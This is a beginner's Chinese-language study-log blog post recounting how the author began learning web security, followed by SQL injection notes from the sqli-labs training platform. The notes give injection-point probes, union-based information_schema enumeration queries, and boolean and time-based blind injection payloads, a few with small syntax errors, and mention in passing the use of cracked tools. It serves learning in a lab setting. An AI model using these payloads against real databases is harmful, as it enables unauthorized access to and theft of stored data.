20200226 SQL注入及杂项

记录

自从10多号开始自学安全后,感觉速度快了点,怕忘记就在本地每天打卡总结,但今天突发奇想为何不在网上打卡捏,于是就有了本文

稍微记录几个时间点:

  • 20190522 了解到了有CTF这个比赛

  • 201911 突然开始学逆向,我也不知道为何要先学逆向(Web安全不香吗),不过一周后就没学了,其实就是懒!

  • 20191210 开始学DVWA,学会使用PHPstudy,DVWA粗略学了点,没啥感觉

  • 201912 加入了一个教学群

  • 202001 图书馆借了基本书打算寒假看,一本道哥的,一本将XSS,一本kali,但是根本看不进去(太真实了)

  • 20200209 B站上发现了一个很基础的安全教程(网易云课堂的,帮运过来的,后来要到了免费资源链接就去看了看,真的是最最基础的教程,很良心!原本这段时间我是打算练魔方的,打算avg11的,但我选择了安全。之后的一周就在看这个视频,不过看得慢,想打好基础。

  • 20200217 第一次做题,网址是http://hackthissite.org/就是那个教程分享的,过是一个外国网站,稍有吃力

  • 20200220 加入了bugbank入门群,解决了burpsuite无法抓取https包的问题

  • 20200221 来到了HackingLab开始了做题之旅了,结合之前的教程以及网上的WP慢慢学习,一天时间才从选择题和基础关做到脚本关第2题,这一题是要写一个脚本,这也是我的第一个脚本。

  • 20200222 因为之前稍微了解python,要写脚本就复习了下python,了解request模块和re模块及正则表达式,说实话,我的学习力比较差,一开始就单单re模块和正则那部分学了半个上午半个下午,晚饭前终于搞定了那个脚本

  • 20200223 遇到了一个巨难的题(脚本关第8题),是一个关于PHP代码审计的,这一题做完的时候天已经黑了

SQL I‘m coming

从24号左右就开始了注入关,前三关看WP还是比较简单的,但是我是边看边学的,对于SQL注入的基本原理就不是很清楚,于是25号就打算单开一天学SQL注入,结果……我太年轻了,到了那天晚上才发现SQL不简单,所以接下来的一周时间基本上就是与SQL注入打交道了,视频的话,我是看B站上的 crow up主的sqli教程,其余就参考网上的文章

主要就是通过sqli-labs这个平台学习,里面的SQL注入类型丰富,够啃一阵子了

前两日SQL注入总结 (ง'-')ง

之前学得有点零散,早上也起得比较晚,就打算总结前两天所学的

基本SQL注入步骤

  1. 找到注入点
 1' or 1=1 #
 1 or 1=1 
 1" or 1=1 #
 1') or 1=1 #
 ​
 -- 一些编码
 ’ %27
 # %23
  %20
 “ %22
  1. 看有没有回显
order by 3#
-1' union select 1,2,3#
 ​
 -- 没有回显的话,就属于盲注系列了
  1. 获取数据
select database();
select user();
select version();
select @@datadir;  # MySQL安装路径
select @@version_compile_os;  #电脑系统
select schema_name  from information_schema.schemata;
select table_name from information_schema.tables where table_schema = 'security';
select column_name from information_schema.column where column_schema = 'users';
select username,password from security.users;

有趣的函数(ง'-')ง

group_concat("name")  # 列举name列所有字段
concat_ws('~',name,password)  # 以name~password形式输出
concat(”name“)  # 用法类似

盲注 (・ω・)=つ

来人,上笔记!

盲注 布尔型

跑库名
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | challenges         |
 | dvwa               |
 | mysql              |
 | performance_schema |
 | security           |
 | test               |
 +--------------------+
  1' or substr((select database()),1,1)='s'#
  1' or substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I'#

  跑表名
 +----------------+
 | SecurityTables |
 +----------------+
 | emails         |
 | referers       |
 | uagents        |
 | users          |
 +----------------+
  1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'#

  跑列名
 +----+----------+------------+
 | id | username | password   |
 +----+----------+------------+
 |  1 | Dumb     | Dumb       |
 |  2 | Angelina | I-kill-you |
 |  3 | Dummy    | p@ssword   |
 |  4 | secure   | crappy     |
 |  5 | stupid   | stupidity  |
 |  6 | superman | genious    |
 |  7 | batman   | mob!le     |
 |  8 | admin    | admin      |
 |  9 | admin1   | admin1     |
 | 10 | admin2   | admin2     |
 | 11 | admin3   | admin3     |
 | 12 | dhakkan  | dumbo      |
 | 14 | admin4   | admin4     |
 +----+----------+------------+

  1' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)#  //不同库会有相同的列名
  1' or select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,10) c#
  这里最好把库名和列名都写出了,避免出现不同库相同列名的情况

  跑字段 

  1' and select substr((select username from security.users limit 0,1),1,1)#

盲注 延时型

跑库名
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | challenges         |
 | dvwa               |
 | mysql              |
 | performance_schema |
 | security           |
 | test               |
 +--------------------+
  1' or if(substr((select database()),1,1)='s',1,sleep(5)) #
  1' or if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I',1,sleep(5)) #

  跑表名
 +----------------+
 | SecurityTables |
 +----------------+
 | emails         |
 | referers       |
 | uagents        |
 | users          |
 +----------------+
  1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(5))#

  跑列名
 +----+----------+------------+
 | id | username | password   |
 +----+----------+------------+
 |  1 | Dumb     | Dumb       |
 |  2 | Angelina | I-kill-you |
 |  3 | Dummy    | p@ssword   |
 |  4 | secure   | crappy     |
 |  5 | stupid   | stupidity  |
 |  6 | superman | genious    |
 |  7 | batman   | mob!le     |
 |  8 | admin    | admin      |
 |  9 | admin1   | admin1     |
 | 10 | admin2   | admin2     |
 | 11 | admin3   | admin3     |
 | 12 | dhakkan  | dumbo      |
 | 14 | admin4   | admin4     |
 +----+----------+------------+ 
  //精确到了库和表,是可以跑出id的
  1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(5))#

  跑字段
  1' and if(substr((select username from security.users limit 0,1),1,1)='D',1,sleep(5));

杂项 _(:τ」∠) _

  • burpsuite抓不到本地包

    学安全避免不了破解版工具的使用,前几天的burpsuite能抓远程包,今天突然抓不到本地包了,郁闷~~

    后来将localhost和127.0.0.1改为本地的IP地址就可以了(比如http://192.168.1.1/sqli/less-11

PS:没想到这个markdown编辑功能这么差,哎,代码块部分明天在处理下,有点难看。。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最...
    打伞De鱼阅读 1,468评论 0 7
  • SQL注入漏洞概述:所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终...
    kotw_zjc阅读 2,328评论 0 0
  • 安全级别:low 使用手工注入 目标:http://192.168.2.35/dvwa/vulnerabiliti...
    小浪崇礼阅读 385评论 0 1
  • Web基础知识 1 HTTP介绍 HTTP协议(HyperText Transfer Protocol,超文本传输...
    亦zZ阅读 564评论 0 0
  • DVWA实践 Web漏洞原理 1. DVWA环境搭建 Warmpserver+DVWA 2. Brute Forc...
    JasonChiu17阅读 3,812评论 0 19